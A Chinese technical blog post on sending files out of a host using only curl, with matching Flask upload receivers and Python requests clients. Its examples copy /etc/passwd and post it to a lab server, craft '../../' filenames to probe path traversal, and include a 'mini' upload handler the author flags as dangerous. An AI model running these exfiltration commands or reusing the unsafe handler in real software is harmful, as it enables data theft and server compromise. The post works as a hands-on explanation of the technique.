标题: WEB系列(58)--用curl向外传送文件
创建: 2022-10-17 12:06 更新: 2022-10-19 08:50 链接: https://scz.617.cn/python/202210171206.txt
目录:
☆ 背景介绍
☆ curl -F
1) "curl -F"所发数据
2) SimpleHTTPServer.py
3) SimpleHTTPServer_mini.py
4) SimpleHTTPClient.py
☆ curl --data-binary
1) "curl --data-binary"所发数据
2) SimpleHTTPServer_d.py
3) SimpleHTTPServer_d_mini.py
4) SimpleHTTPClient_d.py
☆ 小结
☆ 参考资源
☆ 背景介绍
有时可能碰上用curl向外传送文件的需求,不考虑客户端有nc、perl或其他什么在场 的情形,只有全功能curl在场,假设服务端可达、可控。这不是正经需求,我是正经 人,所以一直没有碰上过,最近看Offensive BPF时有碰上,临时折腾一下。
☆ curl -F
1) "curl -F"所发数据
在客户端执行
cd /tmp cp /etc/passwd /tmp/some.txt curl -F "[email protected]" -F "user=any" http://192.168.95.21:8080/upload
在服务端执行
nc -ln 192.168.95.21 8080 > raw.txt
raw.txt即"curl -F"发送出去的原始数据,如下
POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Length: 3132 Content-Type: multipart/form-data; boundary=------------------------f3b2ed96520ef46e
--------------------------f3b2ed96520ef46e Content-Disposition: form-data; name="file"; filename="some.txt" Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
--------------------------f3b2ed96520ef46e Content-Disposition: form-data; name="user"
any --------------------------f3b2ed96520ef46e--
网友「梦里的奇妙冒险」指出,如下命令可指定Content-Disposition中filename字 段,使之包含../而不normalize它。
curl -F "[email protected];filename=../../some.txt" -F "user=any" http://192.168.95.21:8080/upload
看man手册,还可指定Content-Type,而非自动识别(本例是text/plain)
curl -F "[email protected];filename=../../some.txt;type=application/octet-stream" -F "user=any" http://192.168.95.21:8080/upload
起初我没去找curl指定filename字段的原生方案,当时用了个歪招,修改raw.txt中 filename,同步修改Content-Length为3138,再用nc发送raw_new.txt。
nc -n 192.168.95.21 8080 < raw_new.txt
在Windows上修改raw_new.txt,用记事本吧。顺便说一句,nc有个开关"-C",使得发 送CRLF,缺省发送LF。
无需filename包含../,只是测试Python版服务端能否规范化filename。"user=any" 无需出现,仅为演示。
2) SimpleHTTPServer.py
下面是配套Python版服务端,接收"curl -F"传过来的文件,支持二进制文件,限制 了文件大小、扩展名、存放目录。
! /usr/bin/env python3
-- encoding: utf-8 --
cd /tmp
mkdir /tmp/upload
python3 SimpleHTTPServer.py 192.168.95.21 8080
import sys, os import flask import werkzeug
app = flask.Flask(name)
不允许超过1MB,否则向客户端返回413错,会自动检查
413 Request Entity Too Large
The data value transmitted exceeds the capacity limit.
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/upload'
只允许这些扩展名
app.config['ALLOWED_EXTENSIONS'] = { 'txt', 'bin', 'jpg' }
def checkext ( filename ) : return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']
非必须
@app.route( "/" ) def root () : return 'SimpleHTTPServer is online.'
函数名任意
@app.route( "/upload", methods=["POST"] ) def upload () : while True : try : file = flask.request.files['file'] filename = file.filename print( filename ) # # 不会自动检查app.config['ALLOWED_EXTENSIONS'],只能手工检查 # if not checkext( filename ) : ret = 'Unsupported ext' break # # 消掉../ # filename = werkzeug.utils.secure_filename( filename ) print( filename ) filename = os.path.join( app.config['UPLOAD_FOLDER'], filename ) print( filename ) user = flask.request.form.get( 'user', 'unknown' ) file.save( filename ) ret = 'Upload succeed by ' + user except werkzeug.exceptions.BadRequestKeyError : ret = 'Not found file key' break # # end of while #
#
# 出现在HTTP响应中
#
return ret + '\n'
if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )
3) SimpleHTTPServer_mini.py
SimpleHTTPServer.py很多代码出于演示目的而存在,如追求短小精悍,可删减。
! /usr/bin/env python3
-- encoding: utf-8 --
python3 SimpleHTTPServer_mini.py 192.168.95.21 8080
curl -F "[email protected]" http://192.168.95.21:8080/upload
import sys, flask
app = flask.Flask(name)
@app.route( "/upload", methods=["POST"] ) def upload () : file = flask.request.files['file'] # # 危险! # file.save( file.filename ) return 'Upload succeed\n'
if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )
上述代码很危险,客户端提交的filename会危害服务端安全,谨慎使用。
4) SimpleHTTPClient.py
若是富客户端,不用"curl -F"时有许多其他选择,比如
! /usr/bin/env python3
-- encoding: utf-8 --
cd /tmp
cp /usr/bin/ls /tmp/some.bin
python3 SimpleHTTPClient.py http://192.168.95.21:8080/upload some.bin
import sys, requests
url = sys.argv[1] filename = sys.argv[2]
curl -F "[email protected];filename=../../some.bin;type=application/octet-stream"
# file_info = \
{
'file' :
(
'../../' + filename,
open( filename, 'rb' ),
'application/octet-stream'
)
}
file_info = { 'file' : open( filename, 'rb' ) } other_info = { 'user' : 'any' }
除了files,还可以指定headers、cookies等
response = requests.post \ ( url, files = file_info, data = other_info ) print( response.text )
☆ curl --data-binary
1) "curl --data-binary"所发数据
在客户端执行
cd /tmp cp /etc/passwd /tmp/some.txt curl --data-binary "@some.txt" http://192.168.95.21:8080/upload
在服务端执行
nc -ln 192.168.95.21 8080 > raw_d.txt
raw_d.txt即"curl --data-binary"发送出去的原始数据,如下
POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Length: 2850 Content-Type: application/x-www-form-urlencoded
root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
Content-Length精确对应some.txt的大小。application/x-www-form-urlencoded是 这种用法的缺省Content-Type,可更改。
curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" http://192.168.95.21:8080/upload
POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Type: application/octet-stream Content-Length: 2850
root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" -H "Filename: ../../some.txt" -H "User: any" http://192.168.95.21:8080/upload
POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Type: application/octet-stream Filename: ../../some.txt User: any Content-Length: 2850
root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
无需Filename、User,仅为演示。
2) SimpleHTTPServer_d.py
下面是配套Python版服务端,接收"curl --data-binary"传过来的文件,支持二进制 文件,限制了文件大小、扩展名、存放目录。
! /usr/bin/env python3
-- encoding: utf-8 --
cd /tmp
mkdir /tmp/upload
python3 SimpleHTTPServer_d.py 192.168.95.21 8080
import sys, os, time import flask import werkzeug
app = flask.Flask(name) app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/upload' app.config['ALLOWED_EXTENSIONS'] = { 'txt', 'bin', 'jpg' }
def checkext ( filename ) : return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']
@app.route( "/" ) def root () : return 'SimpleHTTPServer_d is online.'
@app.route( "/upload", methods=["POST"] ) def upload () : while True : try : # # 本例只能自己检查大小 # length = flask.request.headers["Content-Length"] length = int( length, 0 ) if length > app.config['MAX_CONTENT_LENGTH'] : ret = "413 Request Entity Too Large" break # # len(data)必等于Content-Length,假设指定小Content-Length、发 # 送大data,读取时会被截断 # data = flask.request.get_data() # # filename = flask.request.headers.get( 'Filename', 'random' ) # filename = flask.request.headers.get( 'Filename' ) print( filename ) if filename is None : filename = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) ) else : if not checkext( filename ) : ret = 'Unsupported ext' break filename = werkzeug.utils.secure_filename( filename ) print( filename ) filename = os.path.join( app.config['UPLOAD_FOLDER'], filename ) print( filename ) user = flask.request.headers.get( 'User', 'unknown' ) with open( filename, 'wb' ) as f : f.write( data ) ret = 'Upload succeed by ' + user except KeyError : ret = 'Not found Content-Length' break # # end of while #
return ret + '\n'
if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )
3) SimpleHTTPServer_d_mini.py
SimpleHTTPServer_d.py很多代码出于演示目的而存在,如追求短小精悍,可删减。
! /usr/bin/env python3
-- encoding: utf-8 --
python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080
curl --data-binary "@some.bin" http://192.168.95.21:8080/upload
import sys, time, flask
app = flask.Flask(name)
@app.route( "/upload", methods=["POST"] ) def upload () : data = flask.request.get_data() filename = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) ) with open( filename, 'wb' ) as f : f.write( data ) return 'Upload succeed\n'
if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )
上述代码不存在filename的风险,但没有限制文件大小,可能消耗硬盘空间。
4) SimpleHTTPClient_d.py
若是富客户端,不用"curl --data-binary"时有许多其他选择,比如
! /usr/bin/env python3
-- encoding: utf-8 --
cd /tmp
cp /usr/bin/ls /tmp/some.bin
python3 SimpleHTTPClient_d.py http://192.168.95.21:8080/upload some.bin
import sys, requests
url = sys.argv[1] filename = sys.argv[2] headers = \ { 'Content-Type' : 'application/octet-stream', 'Filename' : filename, 'User' : 'any' } with open( filename, 'rb' ) as f : response = requests.post \ ( url, headers = headers, data = f ) print( response.text )
☆ 小结
不考虑安全风险的情况下,两种最简组合
python3 SimpleHTTPServer_mini.py 192.168.95.21 8080 curl -F "[email protected]" http://192.168.95.21:8080/upload
python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080 curl --data-binary "@some.bin" http://192.168.95.21:8080/upload
第二组在服务端用时间戳当文件名,形如"20221018122537.bin"。
"curl -T"对我来说不实用,本文不讨论。
☆ 参考资源
[1] https://flask.palletsprojects.com/en/2.2.x/ https://flask.palletsprojects.com/en/2.2.x/api/
[2] https://requests.readthedocs.io/en/latest/ https://requests.readthedocs.io/en/latest/user/quickstart/ https://requests.readthedocs.io/en/latest/api/
https://github.com/psf/requests